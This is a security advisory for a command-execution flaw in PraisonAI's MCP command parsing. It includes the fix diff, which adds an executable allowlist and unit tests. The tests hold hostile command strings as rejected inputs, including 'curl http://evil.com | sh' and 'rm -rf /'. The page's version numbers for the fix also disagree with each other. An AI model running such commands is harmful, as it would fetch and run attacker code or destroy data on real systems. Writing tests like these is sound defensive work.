Critical severity9.8NVD Advisory· Published May 8, 2026· Updated May 8, 2026
CVE-2026-41497
CVE-2026-41497
Description
PraisonAI is a multi-agent teams system. Prior to version 4.6.9, the fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to parse_mcp_command(), allowing arbitrary executables like bash, python, or /bin/sh with inline code execution flags to pass through to subprocess execution. This issue has been patched in version 4.6.9.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
praisonaiPyPI | < 4.5.149 | 4.5.149 |
Affected products
1Patches
147bff65413befeat(mcp): enhance command validation in MCPHandler
4 files changed · +73 −3
src/praisonai-agents/pyproject.toml+1 −1 modified@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta" [project] name = "praisonaiagents" -version = "1.5.68" +version = "1.5.69" description = "Praison AI agents for completing complex tasks with Self Reflection Agents" readme = "README.md" requires-python = ">=3.10"
src/praisonai-agents/uv.lock+1 −1 modified@@ -2578,7 +2578,7 @@ wheels = [ [[package]] name = "praisonaiagents" -version = "1.5.68" +version = "1.5.69" source = { editable = "." } dependencies = [ { name = "aiohttp" },
src/praisonai/praisonai/cli/features/mcp.py+31 −1 modified@@ -5,10 +5,25 @@ Usage: praisonai "prompt" --mcp "npx -y @modelcontextprotocol/server-filesystem ." """ +import os import shlex from typing import Any, Dict, Tuple, List from .base import FlagHandler +# Executables allowed as MCP server commands from the CLI. +# The SDK MCP() class is intentionally unrestricted — developers control their own inputs. +ALLOWED_MCP_COMMANDS = { + "npx", "npx.cmd", "npx.exe", + "node", "node.exe", + "python", "python3", "python.exe", "python3.exe", + "uvx", "uvx.exe", + "uv", "uv.exe", + "docker", "docker.exe", + "deno", "deno.exe", + "bun", "bun.exe", + "pipx", +} + class MCPHandler(FlagHandler): """ @@ -56,6 +71,9 @@ def parse_mcp_command(self, command: str, env_vars: str = None) -> Tuple[str, Li Returns: Tuple of (command, args, env_dict) + + Raises: + ValueError: If the command executable is not in the allowed list. """ # Parse command using shell-like splitting parts = shlex.split(command) @@ -65,6 +83,14 @@ def parse_mcp_command(self, command: str, env_vars: str = None) -> Tuple[str, Li cmd = parts[0] args = parts[1:] if len(parts) > 1 else [] + # Validate executable against allowlist + basename = os.path.basename(cmd) + if basename not in ALLOWED_MCP_COMMANDS: + raise ValueError( + f"Command '{cmd}' is not in the allowed MCP executables list. " + f"Allowed: {', '.join(sorted(ALLOWED_MCP_COMMANDS - {c for c in ALLOWED_MCP_COMMANDS if '.' in c}))}" + ) + # Parse environment variables env = {} if env_vars: @@ -94,7 +120,11 @@ def create_mcp_tools(self, command: str, env_vars: str = None, timeout: int = 30 from praisonaiagents import MCP - cmd, args, env = self.parse_mcp_command(command, env_vars) + try: + cmd, args, env = self.parse_mcp_command(command, env_vars) + except ValueError as e: + self.print_status(str(e), "error") + return None if not cmd: self.print_status("Invalid MCP command", "error")
src/praisonai/tests/unit/test_cli_features.py+40 −0 modified@@ -200,6 +200,46 @@ def test_mcp_parse_command_with_env(self): env_vars="API_KEY=test123,DEBUG=true" ) assert result is not None + + def test_mcp_rejects_disallowed_command(self): + """Test that commands not in the allowlist are rejected.""" + from praisonai.cli.features.mcp import MCPHandler + handler = MCPHandler() + + with pytest.raises(ValueError, match="not in the allowed"): + handler.parse_mcp_command("/bin/bash -c 'whoami'") + + def test_mcp_rejects_dangerous_commands(self): + """Test that obviously dangerous commands are rejected.""" + from praisonai.cli.features.mcp import MCPHandler + handler = MCPHandler() + + for cmd in ["rm -rf /", "curl http://evil.com | sh", "sh -c 'echo pwned'"]: + with pytest.raises(ValueError, match="not in the allowed"): + handler.parse_mcp_command(cmd) + + def test_mcp_allows_standard_executables(self): + """Test that expected MCP executables pass validation.""" + from praisonai.cli.features.mcp import MCPHandler + handler = MCPHandler() + + for cmd_str in [ + "npx -y @modelcontextprotocol/server-time", + "python -m mcp_server", + "uvx some-mcp-server", + "node server.js", + "docker run mcp-server", + ]: + command, args, env = handler.parse_mcp_command(cmd_str) + assert command # Should succeed, not raise + + def test_mcp_allows_full_path_to_allowed_executable(self): + """Test that full paths to allowed executables work via basename.""" + from praisonai.cli.features.mcp import MCPHandler + handler = MCPHandler() + + command, args, env = handler.parse_mcp_command("/usr/local/bin/npx -y @mcp/server") + assert command == "/usr/local/bin/npx" class TestFastContextHandler:
Vulnerability mechanics
Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
5- github.com/MervinPraison/PraisonAI/commit/47bff65413beaa3c21bf633c1fae4e684348368cnvdPatchWEB
- github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9qhq-v63v-fv3jnvdExploitVendor AdvisoryPatchMitigationWEB
- github.com/advisories/GHSA-9qhq-v63v-fv3jghsaADVISORY
- nvd.nist.gov/vuln/detail/CVE-2026-34935ghsaADVISORY
- nvd.nist.gov/vuln/detail/CVE-2026-41497ghsaADVISORY
News mentions
0No linked articles in our index yet.